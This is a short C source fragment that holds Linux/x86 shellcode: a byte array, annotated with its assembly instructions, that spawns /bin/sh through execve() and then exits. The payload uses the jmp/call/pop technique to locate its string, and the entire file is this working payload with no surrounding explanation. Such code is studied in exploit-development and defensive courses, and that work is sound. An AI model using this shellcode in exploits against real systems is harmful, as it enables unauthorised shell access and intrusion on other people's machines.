/*
 *  Linux/x86
 *  
 *  execve() of /bin/sh, exit()
 */

char c0de[] = 
/* main: */
"\xeb\x1d"                                /* jmp callz               */
/* start: */
"\x5e"                                    /* popl %esi               */
"\x29\xc0"                                /* subl %eax, %eax         */
"\x88\x46\x07"                            /* movb %al, 0x07(%esi)    */
"\x89\x46\x0c"                            /* movl %eax, 0x0c(%esi)   */
"\x89\x76\x08"                            /* movl %esi, 0x08(%esi)   */
"\xb0\x0b"                                /* movb $0x0b, %al         */
"\x87\xf3"                                /* xchgl %esi, %ebx        */
"\x8d\x4b\x08"                            /* leal 0x08(%ebx), %ecx   */
"\x8d\x53\x0c"                            /* leal 0x0c(%ebx), %edx   */
"\xcd\x80"                                /* int $0x80               */
"\x29\xc0"                                /* subl %eax, %eax         */
"\x40"                                    /* incl %eax               */
"\xcd\x80"                                /* int $0x80               */
/* callz: */
"\xe8\xde\xff\xff\xff"                    /* call start              */
"/bin/sh";

